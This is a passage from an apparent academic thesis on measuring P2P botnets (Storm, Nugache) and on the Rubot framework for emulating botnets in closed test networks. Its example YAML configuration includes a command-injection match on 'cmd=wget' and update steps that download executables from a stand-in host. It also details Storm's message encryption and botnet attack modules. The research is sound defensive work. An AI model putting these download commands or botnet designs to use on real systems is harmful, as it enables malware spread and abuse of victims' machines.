Li, Ehrenkranz, and Kuenning simulated and analyzed three malnet (a malicious
network, such as a botnet) architectures: random, small-world, and Gnutella-like
architectures. Gnutella-like networks showed the greatest resiliency to random node
failures, with random networks in second place. The conclusion of this work is that
randomly dropping nodes is typically ineffective in taking down botnets of these types.
Instead, a more targeted approach is required.
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CHAPTER III
P2P BOTNET MEASUREMENT
To build the models for inclusion into Rubot, actual code bases and botnets were
examined for their properties. This chapter begins by describing the process of ob-
taining botnet source code and the resulting analysis. Next, the Storm botnet is
described along with the steps taken to reverse engineer its functionality. This leads
to an argument that reverse engineering is too difficult and slow to effectively evalu-
ate botnets. Next, the Winebots framework is introduced followed by a description
of experiments in this framework of both the Storm and Nugache botnets. Then, a
discussion on botnet utility is included. The chapter ends with a summary of the
limitations faced by botnet researchers because of current practices.
3.1 Classifying Botnet Code-bases
While Chapter 2 argued that botnet code bases served as the basis of many seen mal-
ware samples, this section illustrates findings from examining the code bases. Using
a botnet code base for botnet research is problematic because of the difficulty of find-
ing the corresponding source code and working with the code once it is found. There
are code bases that contain back doors, hidden parts of code that allows an attacker
to control the program. Many of the interesting, larger botnets have professionally
implemented code bases, which are kept under tight control so that researchers will
never obtain the code. These qualities of botnet code bases underlie the argument
of the futility of using the code bases for botnet research. In this section, I relay my
personal search for obtaining botnet source code bases followed by an analysis of their
contents.
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3.1.1 Collecting Botnet Source Code
At first, collecting botnet code bases was quite difficult because researchers are timid
about sharing malicious software with people they do not trust and malware authors
do not want the source code in the hands of researchers. By sneaking into a botmaster
community website, ryan1918.com, several hints were found for how to obtain source
code samples. There was a link to the source code for several older common botnets
released by MAB. The download torrent was found through a search on Pirates Bay
and downloaded with Bittorrent. Once some code was obtained, it was used in trade
with other researchers to obtain more botnet code bases.
3.1.2 Findings from Analyzing the Botnet Code Bases
By far the most popular code base in the obtained sample was the Agobot/Phatbot
series. The Agobot source code was released under the GNU Public License (GPL) by
Ago and written in very clean C++. One of the more advanced derivatives of Agobot
obtained, DJBot, contains a polymorphic packer, encrypted commands, sapphire en-
cryption, MD5 hashing, and SSL support. The header files from the base directory
are listed in Table 1 and illustrate the included features. For example, DJBot has
support for redirecting HTTP, HTTPS, generic route encapsulation (GRE), SOCKS,
and SOCKS5. DJBot supports a number of harvesters, scanners to find information
on the victim computer, for America Online (AOL) accounts, software keys, e-mail
addresses, and other interesting items in the registry. There are a number of scanners,
several network attackers, a sniffer, and a spamming module. DJBot is a full-featured,
mature botnet with modules for IRC control and a custom Peer-to-Peer (P2P) TCP
protocol. The P2P module is a simple multithreaded TCP server/client with the abil-
ity to perform message passing throughout the botnet. Almost all botnet source code
bases contained abilities for spamming and for distributed denial-of-service. Most had
some form of redirection, or proxy service for protecting the botmasters’ activities.
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Table 1: Header files from DJBot, an Agobot derivative.
3dnow.h consdbg.h hook.h radminscanner.h scanner.h
bnc.h cplugin.h installer.h random.h sdcompat.h
bot.h crypter.h irc.h redir gre.h shellcode.h
build.h cstring.h ircgate.h redir http.h smtp.h
cmdbase.h cthread.h logic.h redir https.h smtp logic.h
cmdline.h cvar.h mac.h redir socks.h sniffer.h
cmdopt.h ddos.h main.h redir socks5.h sockets.h
cmdshell.h harvest aol.h mainctrl.h redir tcp.h ssllib.h
commands.h harvest cdkeys.h message.h redirect.h utility.h
confbase.h harvest emails.h p2p.h resource.h
config.h harvest registry.h polymorph.h rsalib.h
Many of the smaller botnets, usually controlled by beginning botmasters, use
scripting languages like PERL or PHP. The PERL bots are usually small and limited
in functionality. Script-based bots commonly only have one or two methods to flood
networks and use PHP attacks to infect the victim host. All script-based botnets
in the acquired sample used IRC for the control channel. Upon visiting some of the
channels being used for active botnets, it was easy to tell who the botmasters were,
their location, and how few bots they controlled.
3.2 Analysis of Botnet Malware
There are two major ways to analyze malware samples: examining its code and its
behavior. To examine the code requires converting the malicious software from its
base binary form to a higher layer of abstraction. Malware authors have deployed
many techniques to thwart analysis by detecting virtual machines and debuggers, and
by encrypting (packing) the binary so that the only decrypted form of the program
is in memory and only for a short time. Also, malware authors are known to use
obfuscation techniques to make program understanding, the conversion of compiled
programs to higher-level representations, highly expensive for the researcher. I will
argue, primarily by example, that reverse engineering is far beyond most researchers’
expertise and time-frame for even a single malware sample.
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3.2.1 Reverse Engineering of the Storm Trojan
Storm appeared around January 2007 by sending record levels of spam with very
simple, repetitive subject lines. One of the subject lines referred to storms in Europe,
which caused this trojan to be dubbed as the Storm trojan [13]. The botmaster sends
spam to victims with links to Web sites (Figure 3). The Web sites use malicious
Javascript, as seen in Figure 4(a), to force the user to download the primary infection
binary. The decoded Javascript is in Figure 4(b). This example exploits the browser
to cause it to automatically download the primary infector, ecard.exe.
Figure 3: Spam e-mail enticing the victim to click and become infected.
The first-stage infector joins the victim to the Overnet peer-to-peer (P2P) network
and searches for the secondary infector. The updated bot generates a random hash
for its identity (peer hash) and connects to the Overnet network. Inside the binary,
there is a list of hosts used to bootstrap the communication to the P2P network.
After connecting, the bot searches using a generated search hash based on a random
number between 0 and 31 and the date. The answer used to be encrypted with a
64-bit RSA key and encoded with a custom base-64 algorithm. The decryption key
was hardcoded in the binary, but the modulus was part of the reply [13]. Once the
answer was decrypted, it yielded a URL, which pointed to the secondary infector.
26
(a) Malicious, encoded JavaScript code to lead vic-
tim to download ecard.exe.
(b) The decoded JavaScript with shellcode and in-
structions to install ecard.exe.
Figure 4: Encoded and decoded, malicious JavaScript used by the Storm trojan.
To spoof messages into the Storm network, knowledge of the exact method of en-
cryption was needed. To find this method, the Storm binary was reverse engineered.
Since the binary was packed, encrypted and compressed, a custom version of QEMU,
an open-source virtual machine software, was created. This custom version of QEMU
can take memory snapshots and do full memory tracing. When an encrypted net-
work packet arrived, a script would detect it and take memory snapshots by sending
commands to QEMU. This yielded a mostly decrypted form of the binary in mem-
ory and allowed a partial disassembly, a conversion of machine code into assembly
instructions. However, the number and complexity of these disassembled instructions
were far beyond the scope of the available tools to perform program understand-
ing. Understanding modular exponentiation in C is hard and is nearly impossible to
comprehend at the assembly-level.
Since the ciphertext, plaintext, and decryption key were known (from [13]), mem-
ory trace analysis was used to reverse engineer the process of decrypting messages.
Functionality was added to QEMU to perform a complete memory trace for every
read and write to the memory subsystem. This produced an unmanageable amount
of log entries, but by applying filters, the decryption epoch could be located and
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analyzed by itself. This technique produced a 1 GB memory trace for several seconds
worth of CPU time.
Figure 5: Visualization of initial Storm connections from the Etherape tool.
The easiest way to describe the decryption process is to describe the encryption
process. Two checksums were computed, an XOR and an ADD checksum. Each byte
of the message was XORed together to form the XOR checksum and the ADD check-
sum was the arithmetic sum of the byte values, modulo 256. Then, an incrementing
counter was added in the format in Table 3. The message was chunked into 4-byte
blocks and encrypted using the RSA-64 cipher on each block to produce 8-byte blocks.
Each 8-byte block was stored in little-endian format. The result of the encryption was
then broken into 3-byte chunks such that the custom Base64 algorithm expanded it
to 4-bytes. Then, 0x21 was added each byte, modulo 256. These steps are illustrated
in Table 2. This encrypted message was placed into an Overnet search result message
(type: 0x11). This method of encryption ended in September 2007, when the new
Storm variant started the use of XOR encryption on all packets.
Table 2: Storm’s custom Base64 algorithm.
Plaintext t f r
Hex 0x74 0x66 0x72
Binary 0 1 1 1 0 1 0 0 0 1 1 0 0 1 1 0 0 1 1 1 0 0 1 0
6 bits 0 1 1 1 0 1 0 0 0 1 1 0 0 1 1 0 0 1 1 1 0 0 1 0
Hex 0x1d 0x06 0x19 0x32
Add 0x21 0x3e 0x27 0x3a 0x53
Ciphertext < ’ : S
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Table 3: Unencrypted Storm search reply message.
1 byte 1 byte 1 byte * bytes
XOR ADD COUNTER URL PADDING
3.2.2 Chasing Storms’s C&C
During the reverse engineering process, the botmaster changed the method for coor-
dinating bots. Previously, the botmaster used a statically-coded IP address to direct
the bots to the update site. The botmaster shifted to using a DNS name, rfthud.com,
to direct bots to the Web sites containing malware updates. Futhermore, rfthud.com
was a fast-flux domain, a domain that has constantly changing DNS entries for the
IPv4 and name server records to prevent IP-based blocking [43]. This tactic, used by
spammers and phishers, has started to attract the attention of security researchers.
The fast flux DNS architecture was measured as part of this work. From June 9th to
June 25th, the rfthud.com fast flux DNS network was crawled 22,000 times. There
were 21,779 hosts operating as DNS servers and 186,983 individual pairs of servers
(one server pointed to another). To place this in its proper perspective, google.com
has four name server records and less than 20 IPv4 records.
To show how rapidly the domains change, Figure 6 shows an overview of how
frequently each host appeared in the DNS crawls. There were several servers that
were very active in the spammer’s DNS network. Those servers were nearly always
on (but not always pointed to) and served DNS or hosted malware updates. The
foremost host was included in close to 12% of the DNS crawls and the second most
frequent host was included in less than 8% of crawls. The first 13 to 14 servers seen in
Figure 7 acted primarily as the domain’s name servers and could not be fluxed out as
quickly as the IPv4 records. After these dedicated servers, the remaining servers were
utilized at random. This tactic prevents IP-based blocking. To prevent hostname-
based blocking, the same name servers handled several hundred other domain names.
This could be ascertained because of the German passive DNS replication project
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RUS-CERT [15]. Passive DNS replication records builds a database of IP to hostname
mappings by passively monitoring all DNS packets at an ISP gateway. This database
can then be queried to see all the domains with the same IPs listed in the IPv4 records
or all the domains that share name servers.
Figure 6: Host index vs. inclusion count in DNS crawling.
Figure 7: Host index vs. inclusion count in DNS crawling for the first 100 hosts.
In late June, the attacker’s DNS servers stopped replying to the DNS crawler.
Other IP addresses could query the DNS servers. The attacker did not want people
monitoring the DNS fast fluxing servers. The fiends had a plan on how to divert
attention. Malicious javascript started appearing all over myspace.com on profiles
of attractive females [36]. Google’s security blog noted an increase in Phishing via
MySpace [39] and that this technique was used to extend the fast fluxing network.
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3.3 Winebots: Running Botnet Malware Samples Using
WINE
In 2006, Keshav Attrey and I studied the network connections of the Nugache peer-
to-peer botnet. Since the protocol was encrypted, researchers could not simply join
the network. The only remaining technique was to infect several computers and
monitor the traffic. This does not scale well and quickly exhausts the resources of
most labs. It requires unfiltered IP space and many computers to perform this type of
botnet monitoring. Dr. Copeland provided an unfiltered network and virtualization
was used to provide the machines. Heavyweight virtualization packages like VMware,
QEMU, and XEN require memory to be reserved for each host and quickly limits how
many hosts we can run on one computer. A scalable solution was needed in order to
achieve enough connectivity to the botnet for a proper measurement. WINE was the
near-perfect solution.
WINE is an independant implementation of the Windows API. It translates Win-
dows system and application calls into Linux equivalents. This means when an ap-
plication wants to use the operating system to perform actions, the API call can be
intercepted by WINE and handled through its implementation of the Windows API.
WINE comes with clean implementations of the system libraries, but it also supports
the use of Windows-native dynamic link libraries (DLL). In order to run Nugache,
it required several native DLLs and a good bit of reconfiguration. This allowed one
instance of Nugache to run, but it bound to all available IP addresses on the host and
shared the registry and file system with all other applications running within WINE.
The next step was to run different instances of WINE with different IP addresses.
This required modifying all the socket system calls in WINE to use a given IP address
for network communication. This still was inadequate as multiple WINE instances
still interacted with each other via the file system and the registry. Additional func-
tionality and configuration were added to provide process, registry, and file system
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separation. A 1.4 GHz Pentium 4 with 1 GB of RAM can run over 100 instances of
Nugache. Each instance’s memory footprint initially required 2 to 5 MB and grew
slowly over time. By running these experiments on a Linux box, the experiment had
the benefits of operating system protections to protect the host from the malware and
Linux firewalling to protect the network. WINE performed quite well for malware
analysis.
3.3.1 Nugache Worm Analysis
Nugache uses an encrypted peer-to-peer protocol called WASTE. WASTE [35] was
designed for smaller file-sharing networks where groups of friends form the peers of
the network. Friends can then serve as bridges to their groups of friends, effectively
extending the network. WASTE uses RSA-based encryption to secure the links and
to authenticate peers. This makes WASTE an attractive protocol to organize smaller,
resilient botnets. Many researchers claim that Nugache was a proof-of-concept botnet
because it was trivial to block its peer-to-peer traffic on TCP port 8.
To measure the Nugache botnet, multiple copies of the Nugache worm were exe-
cuted in the customized WINE environment. Each instance of Winebot was bound
to a different IP address and allowed each copy of Nugache to communicate as an
independent peer. The Winebot experiment ran intermittently for several weeks to
generate network traces of Nugache communications. To measure the connection rate
and the number of peers, the network traces were parsed to find peer connections.
These connections were compared with the peer information stored in the Windows
registries to calculate the connectivity, k, and the peer knowledge, p, of each winebot
after each trial. Figure 8 shows how the remote peers were grouped along the IPv4
space. The y-axis maps to the Winebots (the bottom being the first Winebot and the
top being the 125th) and the x-axis maps to the IPv4 space. The glyphs represent
connections between the peers and the Winebots. There was only short trial using
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125 winebots, causing the graph to appear to be lightly populated at the top. All the
other trials were run with 41 winebots. Over the course of two weeks, exactly 3600
distinct Nugache peers were contacted.
Figure 8: A connectivity scatterplot of Nugache Winebots to outside peers.
For the longest running of five trials, Trial 4 ran for five days and used cached
peer lists from the previous trial. The connected peers verses time graph, Figure 9,
shows that Winebot 1, which was seeded with peers from previous tests, found many
more peers over the duration of the experiment. Five of the bots never formed any
peers. During the stable period, the average number of connections per bot was 71.34
peers. The average peer knowledge, an average of the individual peer knowledge from
Figure 10, was 117.63 peers. These numbers are consistent with the other four trials,
shown in Figure 11.
Running Nugache in Wine showed that there was a scalable way to run a malware
sample and identify protocol characteristics. By running so many bots in parallel, the
size of the peer-to-peer botnet and the average connectivity ratio could be estimated.
Furthermore, it provides a controlled environment that can quickly and automatically
run malware samples for black-box analysis of its behavior.
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Figure 9: Number of active peers per Nugache Winebot over time for one trial.
3.3.2 Storm Trojan Analysis
Measuring Storm presented two problems that were not in the Nugache measure-
ments. First, Storm uses UDP, which does not form static peering connections. Sec-
ond, Storm connected to the public Overnet network which may have been used by
file-sharing peers in addition to compromised hosts. Simply using port 7871 did not
provide a solid enough heuristic as network address translation can change the port
number used by the bot. Storm later used random ports to communicate. However,
the infected hosts exhibited strongly periodic Overnet searches with a unique search
type indicative of Storm-infected hosts. By joining many Winebots connected to the
botnet, it was possible to intercept enough Overnet communication to ascertain which
hosts were compromised.
David Dagon and I set up a cluster of computers and routed several subnets
from IP address ranges outside Georgia Tech. With 15 computers and approximately
300 IP addresses, we were able to perform mass joins to the Storm botnet. The
Winebots encountered over 1.3 million IP addresses in a five-day span and that list
of IPs was responsible for about 7% average and 25% peak of the world’s spam.
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Figure 10: Number of active peers per Nugache Winebot over time for one trial.
(Feel free to reread that last sentence for emphasis of the scale of this botnet.) The
spam measurement was done by a well-established spam-filtering company with over
100,000 spamtraps all over the world. The percentage only pertains to e-mails marked
as spam by the filters. After the initial two week run, GTISC attained a high-end
server and mapped all the subnets to it. The machine ran over 400 instances of
Winebots from May 25th to July 4th. In this time, Winebots discovered close to 8
million unique IP addresses connected to the Overnet network, nearly 80% of which
were infected (determined by the heuristics discussed above). The plot of total unique
IP address sending searches to the Winebot network can be seen in Figure 12. The
green line represents how many unique peers are contacted each hour, irrespective if
the IP was seen before in a previous hour.
Storm used the Overnet protocol to query the download site address for updates.
The updates were encrypted, but the bots performed a cleartext HTTP file download,
revealing the URL embedded in the encrypted message. Furthermore, because of the
reverse engineering work, the messages were able to be decrypted in real time to
monitor for changes. For a thorough discussion of Storm, see [13, 16].
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Figure 11: Number of peers per Nugache Winebot for each trial.
Figure 12: Storm IP discovery counts, cumulative and hourly.
3.3.3 Botnet Size Estimation
Since the Winebot framework can join a peer-to-peer network and discover peers
quickly, a model can be applied to estimate the size of the botnet. To do so in a
black-box fashion, we have to measure the average link degree of our Winebots and
measure how many links are made between other Winebots (Figure 13). If a botnet
is very small and has a high average link degree, a small number of Winebots would
be able to point to other Winebots. However, if the botnet is very large compared
with the number of Winebots and has a low average link degree, the probability of
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one of the Winebots being chosen as a peer of another Winebot would be very low.
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Figure 13: Winebots Overview for measurement purposes.
The analytical model to extrapolate the botnet size from the sampling technique
above was developed by David Dagon, Guofei Gu, and Robert Edmonds [9]. It denotes
the botnet membership (size) as Ω and assumes that when a new host joins, it connects
to an average of k randomly selected peers within the botnet. The probability that
one of the m Winebots connects to another Winebot is given as:
ρm = 1− (
Ω
k)
(Ω+mk )
= 1− Ω
Ω+m
Ω−1
Ω+m−1 ...
Ω−k+1
Ω+m−k+1
= 1− (1− m
Ω+m
)(1− m
Ω+m−1)...(1− mΩ+m−k+1)
≥ 1− e−( mΩ+m+ mΩ+m−1+...+ mΩ+m−k+1 )
≥ 1− e− mkΩ+m
(1)
In Figure 14, the probability of a self link to a previous Winebot member m, ρm,
is drawn. ρm decreases as the size of the botnet, Ω, increases or the average node
degree, k, decreases.
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Figure 14: ρm, vary Ω, k and fix m = 200
3.4 Utility-Based Taxonomy of Botnets
Using the same Winebot experimental framework, the idle throughput of bots was
measured to estimate the affects on the overall effective throughput a botnet could
have when performing a distributed denial-of-service (DDoS) attack. The premise
is that different peer-to-peer structures have utility for various purposes based on
their size, bandwidth, efficiency, and robustness. A spamming network would need
efficiency to send spam quickly before being blocked, but it does not need to be as
large, robust, or as high-bandwidth. A DNS fast fluxing network primarily needs
robustness followed by bandwidth and efficiency. A DDoSing network needs to be
efficient at first to receive commands quickly, but bandwidth is the primary factor for
effectiveness. These attributes of peer-to-peer structures were chosen because they
aid in remediation.
3.5 Problems with Direct Measurements of Botnets
Using honeypots, virtual machines, or even the Winebot framework to run and mea-
sure botnets directly presents a series of shortcomings and risks. When monitoring
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real botnets, the research can only view a small portion of the overall activity. Before,
it was assumed that if one bot received a command from an IRC channel, then all
connected bots received the same command. However, with peer-to-peer structure,
virtual machine detection, advancing botnet management schemes, and monitoring
avoidance techniques employed by botmasters, the researcher sees different activity
in one place verses another. This phenomenon was observed during the Storm exper-
iment when a text box was black-listed because it was too overt.
Since the software under evaluation is malware, it can do malicious activities such
as spam, DDoS, and spreading, all of which imposes liabilities on the researcher.
Care must be taken to block malicious activities from escaping the experimental
network or destroying the results. However, by blocking certain activities, the bot
under evaluation has a different outward appearance and could tip off the botmaster.
For example, if outbound TCP rate limiting is used, (an unusual configuration for
normal victims, but a common one for Honeynets), and the botmaster notices a bot
that sends only a few packets per minute, then the researcher’s bot is uncovered. This
would lead to an immediate and permanent ban on that IP subnet, which leads us to
our last problem.
Evaluating botnets directly requires quite a bit of hardware and networking re-
sources. Without the Winebot framework, the most scalable solution would be virtual
machines. Windows 2000 can run most modern malware and only requires 80 MB
of RAM per virtual machine. However, it becomes CPU intensive after three or four
instances, which quickly limits how many bots the researcher can join to the network.
Also, un-firewalled IP space is optimal for running multiple bots. We initially used an
open subnet in our lab and later, rented IP space from an Internet service provider.
As soon as the botmaster blocks the remainder of our IP space, we will have to use
dial-up accounts. Anonymous proxy networks such as Tor are insufficient for this
work.
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This limitation, in addition to those addressed above, promotes the creation of a
realistic experiment framework. The framework should emulate the following botnet
behaviors: spreading, communication to the C&C or P2P network, Web services, and
DNS traffic.
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CHAPTER IV
THE RUBOT FRAMEWORK
The Rubot framework consists of the botnet implementation framework and support-
ing services. The botnet implementation framework allows researchers to implement
botnets for experimentation. The framework contains a core engine, which is respon-
sible for loading the configuration, instantiating components, and performing message
passing between the components. The components are responsible for the behavior
of the bot.
The core engine, the Engine class, has two subclasses, Host and Bot, as seen in
Figure 15. There are no differences between the Engine, Bot, and Host classes. They
are aliases that are used for clarity. The Host class represents a computer and can
run vulnerable services and bots. The Bot class emulates a running piece of malware
with the functionality of the components it loads. An instance of the Bot class does
nothing without components to emulate bot-like behavior. The Bot and Host classes
simply provide the services that components need to run, such as message passing
and storage.
The components are grouped into four categories as follows:
• Vulnerabilities. Components in this group emulate vulnerabilities such as vul-
nerable servers, e-mail attachment opening, and Web browser-based drive-by
downloads.
• Attacks. These components include activities such as exploiting a vulnerable
service, sending spam, and performing a packeting attack.
• Updating. This special component allows a bot to load a new configuration as
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if it were updated.
• C&C Communications. These components are responsible for communicating
to the command and control or the P2P botnet.
Engine
run()
stop()
recv(Event)
send(Event)
store(db, key, val)
retrieve(db, key)
load(Config)
Bot Host
Component
parent : Engine
name : String
run()
stop()
sleep()
wake()
recv(Event)
send(Event)
1 *
VulnerableSe
rvice EmailTrojan
WebTrojan WebDriveBy
IRC HTTP
P2P
Update
Packeting Spam
Vulnerabilities
C&C Com
m
s
Attacks
Update
Worm
Figure 15: UML diagram of the Rubot framework objects.
Researchers can use prepackaged components and integrate together with their
own components to form the desired botnet for study. This allows for rapid proto-
typing of new botnet configurations with reproducible experiment conditions.
The included supporting services allow the researcher to set up an internet-like
system on a closed network. These services include entities like Internet Relay Chat
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(IRC), Domain Name Servers (DNS), Web servers, search engines, and Instant Mes-
senger (IM) services. These services enable the botnet to operate in a controlled, yet
realistic networking environment.
4.1 The Rubot Core Engine
Rubot uses threads to run the core and the components. Threads were chosen over
event-queue and select/poll implementations to simplify the creation of components.
To implement a new component, very few methods need to be coded before the
component can operate within the framework. When the engine starts, it reads the
configuration, initializes the required components, and starts each component in its
own thread. The engine then waits for messages from the components and dispatches
them to other components. Callback functions are used to enable communication
between the modules and for dynamic behavior.
Exploit
exploit : Regex
callback : function
Figure 16: Diagram of the Exploit class.
The configuration for an Rubot is expressed in a hierarchical data structure. This
structure can be read in from configuration files written in YAML, a simplified markup
language, or can be formed in code. Then, the Rubot core engine takes the config-
uration to start the services and bots by passing the related configuration to each
instantiated component.
An example configuration is given in Figure 17. In this example, the host has a
vulnerable Web server running. When the Web server receives a payload matching
the exploit regular expression, it calls the exploit callback function. The callback
must be implemented by the researcher. In this case, the callback would likely down-
load the URL given in the exploit and then load a bot configuration. There are two
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bot definitions in this configuration file, bot1 and bot2. In the first configuration,
bot1, there are three components defined: IRC, packeting, and update. The IRC
component is configured to connect to Freenode on the #evil channel and listen for
commands from b0tm4st3r. Since the packeting component defaults to supporting all
the included packeting types, no specific configuration is needed. The update compo-
nent allows the researcher to simulate an update to the second botnet configuration,
bot2. In the second configuration, the bot connects to a different IRC channel and
listens for commands from a different botmaster. The second configuration also has
spamming capabilities, at a rate of 10 e-mails per second, and an update configu-
ration. This type of configuration is useful to describe the creation, via the exploit
component, and subsequent renting of a botnet via reconfiguration.
Host
Bot
IRC
Packeting
Update
Vulnerable 
Server
(a) Instantiation tree.
host:
vulnerable service:
port: 80
exploits:
- exploit: /^GET .*\?cmd=wget ([^\&]*)/
callback: create_bot("bot1")
bot1:
irc:
server: irc.freenode.net
channel: "#evil"
botmaster: b0tm4st3r
packeting:
update:
method: wget http://evil.evil/bot2.exe
newconfig: <bot2>
bot2:
irc:
server: irc.freenode.net
channel: "#money"
botmaster: c4sh$
spam:
rate: 10
update:
method: wget http://evil.evil/update.exe
newconfig: <bot1>
(b) YAML configuration.
Figure 17: Example of an IRC-based bot with spamming and packeting capabilities.
The overall experiment deployment is still quite manual. The configuration must
be replicated to the nodes and infrastructure services, such as DNS, need to be con-
figured. Automating this deployment is left to future work.
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There are two likely experiment scenarios, one where the botnet starts as a con-
nected botnet with all members already in the infected state and another where the
potential members are not in the infected state, but are waiting to be exploited and
recruited into the botnet. A spreading botnet experiment uses an emulated vulner-
ability, enabled via the vulnerable service component, and allows for bots to spread
through a variety of emulated vectors.
4.2 Vulnerability Components
To enable epidemiology studies on botnets and worms, several components are in-
cluded to enable spreading. For example, if a worm-like behavior is desired, the re-
searcher would use a vulnerable service component to emulate the vulnerable server
and a worm attack component to emulate the infected host trying to infect others.
Another common malware spreading vector, e-mail, would be emulated using an e-
mail trojan component and a spamming component. The spam component would
send e-mail messages, containing the vulnerability pattern, to SMTP servers and the
e-mail trojan component would emulate the user fetching his or her e-mail from the
server and opening the attachment to become infected. The last common spreading
vector supported in the Rubot framework is the Web-based exploit model.
Vulnerable Service
exploits : Exploit[]
port: int
Email Trojan
exploits : Exploit[]
effectiveness : int
interval : int
Web Drive By
urls : String[]
rate : int
exploits : Exploit[]
Web Trojan
url : String
effectiveness: int
exploit : Exploit
Figure 18: Configuration options for the vulnerability components.
4.2.1 Vulnerable Service Component
Before describing the botnet spreading components, it is beneficial to describe the vul-
nerable service component (VSC), seen in Figure 18. The VSC allows the researcher
to emulate vulnerabilities that can be exploited to enlist a peer to join a botnet. By
45
emulating vulnerabilities, there are no ethical issues of exploit development and the
emulated vulnerability can match any signature the researcher is testing for. Typ-
ically, a vulnerable service listens on a port and receives connections. The VSC is
configured with an exploit filter, a pattern that describes what a malicious payload
looks like and how to interpret the exploit. Once a client sends a payload that matches
the exploit filter, the component will enable new behavior. The most common behav-
iors in response to an exploit are to open a backdoor port or to download a malicious
payload from a Web server. To keep the exploit and the payload sizes realistic, all
behavior code should already be available to the peer being exploited and the VSC
needs only to activate the new behavior. The most natural attack component for this
model would be the worm component.
To support this component, the following parameters are required:
• exploits, an array of Exploit objects.
• port, the TCP/IP port to listen on.
Each item in the exploits array must have the following parameters:
• exploit, a regular expression to match against the payload.
• callback, a function to call when an exploit is successful.
4.2.2 Email Trojan
The e-mail spreading component, like the web components, works on in poll-like
manner in that the victim must access and fall prey to the exploit. This component
emulates the process of an attacker sending spam and the victim receives and acts on
it. For this model to emulate a realistic scenario, it has to work with the spamming
component.
• rate, the frequency that the victim user checks his or her e-mail.
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• effectiveness, the probability that the e-mail is acted upon resulting in the
victim’s computer becoming infected.
• callback, a function called if the trojan is considered successful.
4.2.3 Web Trojan and Drive-by Download
With a Web-based trojan, there are two main ways for a victim to find a malicious
Web site. The victim may find the URL in a spam e-mail or by a Web search. When
the victim visits the website, his or her browser downloads the Web page. In a trojan-
based exploitation scenario, the user must decide to install and run the malware. For
a drive-by download exploit, the browser is exploited into automatically installing and
running the malware. In either case, this is simplified to a probability of infection
once the page is downloaded. The main difference between the two models is the
pause between the downloading of the page and the download of the exploit.
The drive-by component has the following properties:
• urls, an array of URLs.
• rate, the frequency that the user crawls through the URLs.
• exploits, an array of Exploit objects.
The trojan component has the following properties:
• url, the URL to visit.
• effectiveness, the probability that the victim will install the malware.
• callback, a function called if the trojan is considered successful.
4.3 Attack Components
In this section, I describe the various components for spreading, the method used
to infect nodes in order to form the botnet, and attacking. To be able to spread,
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there must be a matching vulnerability such as a vulnerable service or a user tricked
into installing malware. For the spam attack component, the natural vulnerability
is the e-mail trojan vulnerability component. For the worm attack component, the
natural vulnerability is the vulnerable service component. The remaining attack
component, packeting, is simply used to generate copious quantities of packets to
launch a distributed denial of service (DDoS) attack.
Packeting
type : String
rate : int
target : String
duration : int
Spam
template : String
emails : String[]
rate : int
Worm
rate : int
model : String
payload : String
Figure 19: Configuration options for the attack components.
4.3.1 Worm-based Spreading
Since the VSC allows a node to emulate a vulnerability, it is easy to create a worm-
like spreading component. As part of the behavior that the VSC enables, the newly
infected peer sends malicious payloads to other nodes on the network. If the other
nodes are emulating the same vulnerability, then those nodes would also become
infected and begin to spread. At this time, polymorphism is not directly supported.
All vulnerabilities, payloads, and infections are virtual and would not affect a normal
PC.
This component has the following properties:
• rate, the number of victims to scan per second.
• model, the victim IP generation method, random or linear.
• payload, the malicious payload.
48
4.3.2 Spamming
The spamming component uses templates and e-mail lists to generate spam. The
spam e-mails are sent to SMTP servers. The SMTP servers are then responsible for
storing the messages for pick-up by the victims. The victims then poll the SMTP
server to receive the spam message. Spam templates and e-mail lists are typically
downloaded via HTTP or by a custom TCP connection. Once the template and
lists are downloaded the spamming component sends spam at the given rate. The
component has the following properties:
• rate, the number of e-mails to send per second.
• templates, the spam templates.
• emails, an array of e-mail addresses.
4.3.3 Packeting Components
Almost all botnets have spamming and packeting functionalities, since they generate
the most revenue. The packeting components generate packets of different types,
rates, and sizes. Although there are many types of TCP packeting attacks, such as
PhatWonk, PhatSYN, PhatICMP, SYNFlood, Targa3, and HTTPFlood, only the
SYNFlood model is supported. The SYNFlood attack component sends TCP SYN
packets to a given IP address and port number combination at the provided time and
rate. The UDPFlood model sends UDP packets to a given target at the provided
time and rate. The ICMPFlood model sends ICMP packets of a specified type to a
given target at the provided time and rate.
• type, the type of packets generated. This should be one of UDP, TCPSyn, or
ICMP.
• rate, the number of packets to send per second.
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• target, the IP and port of the victim. In the case of ICMP, this should be the
IP, ICMP type, and ICMP code.
• duration, the duration of the attack in seconds.
• payload, the payload of the packet. For TCPSyn, this is almost always None.
For ICMP, it is usually None and for UDP, it is almost always defined.
4.4 Updating Component
Botmasters often update the malware installed on victims to enable new functionality
or to rent out the botnet. The updating component allows a botnet to update itself
by loading a new configuration. The component is responsible for selecting the new
configuration for the bot and restarting the bot with the selected configuration. The
configurations are keyed by name, so each possible bot configuration desired in the
experiment must be defined in the configuration file. In future work, network-based
passing of configuration will be considered.
4.5 C&C Communication Models
The primary focus of this work is modeling C&C communication and in particu-
lar, P2P-based control. Since a predominant number of botnets were and still are
controlled via IRC, an IRC-based control component is provided. Since HTTP-based
control is the second most popular form of control, a component is provided within the
framework. The TCP- and UDP-based P2P control models are much more complex,
requiring bootstrap peers.
4.5.1 IRC-based Control Model
The IRC component connects to a specified IRC server and channel. It then listens
for commands from the botmaster. The botmaster is identified by a nick, a chosen
identity used when on IRC. The botmaster send commands to the bots via messages
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IRC C&C
server : String
port : int
channel : String
admins : String[]
callback : function
HTTP C&C
url : String
interval : int
callback : function
UDP P2P
bootstrap : String[]
degree : int
hello : int
TCP P2P
bootstrap : String[]
degree : int
Figure 20: Configuration options for the communication components.
posted to the chat room. The bots are listening to messages on the chat room and in-
terpret them. The first word of the command is used as the key to the defined callback
functions, with the remainder of the line treated as parameters. The configuration
parameters for the IRC component follow:
• server, the IP address of the IRC server.
• port, the port number of the IRC server (defaults to 6667).
• channel, the IRC chat room to join.
• admins, a list of nicks, botmasters, from which to accept commands.
• callback, a function to process each line of input from the admins.
4.5.2 HTTP-based Control Model
The HTTP component repeatedly polls a Web site to obtain new instructions. Once
the page is downloaded, the contents of the page is given to a callback function.
The callback function is responsible for parsing and interpreting the contents of the
downloaded Web page. The HTTP component supports the following configuration
options:
• url, the URL address of the Web page to poll for instructions.
• rate, the time between polls of the Web page.
• callback, a function that is called each time the Web page is downloaded.
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4.5.3 P2P Protocol Control Models
P2P protocols are very complex and vary widely in how they maintain their networks.
The Rubot framework supports the implementation of many types of botnets by di-
viding the functionality of the P2P component into the following four subcomponents:
• Peer Management. This subcomponent is responsible for tracking peers and
managing active connections. This subcomponent may contain logic to include,
